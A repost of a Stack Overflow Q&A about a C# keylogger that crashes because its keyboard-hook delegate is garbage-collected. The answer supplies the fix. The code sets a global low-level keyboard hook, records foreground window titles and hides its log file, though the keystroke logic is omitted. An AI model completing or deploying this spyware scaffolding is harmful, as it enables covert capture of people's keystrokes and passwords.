gpt4 book ai didi

c# - 键盘记录程序崩溃

转载 作者:太空宇宙 更新时间:2023-11-03 19:25:11 38 4
gpt4 key购买 nike

我一直在用 C# 和 Windows 窗体开发一个键盘记录器,但我在某些时候遇到了困难。当我运行我的代码时,它工作正常并记录了 20-25 次击键,但在那之后程序突然崩溃,这些是显示的错误消息:(第一个完全难倒我)

1. 对类型为“karan_keylogger!karan_keylogger.Form1+LowLevelKeyboardProc::Invoke”的垃圾收集委托(delegate)进行了回调。这可能会导致应用程序崩溃、损坏和数据丢失。将委托(delegate)传递给非托管代码时,它们必须由托管应用程序保持事件状态,直到保证它们永远不会被调用。

2.然后显示'Object Reference not set to an instance of the object.(我熟悉这个)

代码如下:

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.IO;
using System.Security;
using System.Security.AccessControl;
using System.Security.Principal;
using System.Runtime.InteropServices;
using System.Timers;
using System.Diagnostics;


namespace karan_keylogger
{
public partial class Form1 : Form
{
KeysConverter kc;
private delegate IntPtr LowLevelKeyboardProc(int nc,IntPtr wparam,IntPtr lparam);
//private static LowLevelKeyboardProc keyhook = detect;
StreamWriter sw;
private const int WM_KEYDOWN = 0x0100;
bool shiftDown, inBetween, numLockPressed;
string currWindow, prevWindow,path;
IntPtr x;
[DllImport("User32.dll")]
public static extern int GetWindowText(int hwnd, StringBuilder s, int nMaxCount);
[DllImport("User32.dll")]
public static extern int GetForegroundWindow();
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook,LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
IntPtr wParam, IntPtr lParam);

[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);

public Form1()
{
InitializeComponent();
kc = new KeysConverter();
path="E:\\data.txt";
shiftDown = false;
//shiftUp = true;
inBetween = false;
numLockPressed = false;
currWindow = getTitle();
prevWindow = currWindow;
File.SetAttributes(path,FileAttributes.Normal);
sw = new StreamWriter(path, true);
sw.AutoFlush = true;
sw.WriteLine("Time: "+DateTime.Now.ToShortTimeString()+" Date: "+DateTime.Now.ToShortDateString()+" Window: "+currWindow+"- ");
File.SetAttributes(path, FileAttributes.Hidden | FileAttributes.ReadOnly);
LowLevelKeyboardProc keyhook = new LowLevelKeyboardProc(detect);
Process curProcess = Process.GetCurrentProcess();
ProcessModule curModule = curProcess.MainModule;
//private delegate IntPtr LowLevelKeyboardProc(int nc,IntPtr wparam,IntPtr lparam);
x = SetWindowsHookEx(13, keyhook, GetModuleHandle(curModule.ModuleName),0);
}

private void Form1_FormClosing(object sender, FormClosingEventArgs e)
{
UnhookWindowsHookEx(x);
}
private string getTitle()
{
int handle = GetForegroundWindow();
StringBuilder sb = new StringBuilder(1000);
GetWindowText(handle, sb, 1000);
string winText = sb.ToString();
return winText;
}

private IntPtr detect(int ncode, IntPtr wparam, IntPtr lparam)
{
// logic for keystroke storing
return CallNextHookEx(x, ncode, wparam, lparam);
}
}
}

任何帮助将不胜感激,这是一个宠物项目!..

最佳答案

如错误消息所述,非托管代码不会使托管资源保持事件状态。您正在创建一个局部变量 keyhook 并将其传递给 SetWindowHookEx(即传递给非托管代码)。

然后退出构造函数,keyhook 变量超出范围,从代码的角度来看,它不再在任何地方被引用,这意味着它已准备好进行垃圾回收。但非托管代码将继续使用它。当垃圾收集器启动时,委托(delegate)丢失,您将收到错误消息。

只需将您的委托(delegate)声明为类成员,而不是局部变量。

private LowLevelKeyboardProc keyhook;

关于c# - 键盘记录程序崩溃,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/9239861/

38 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com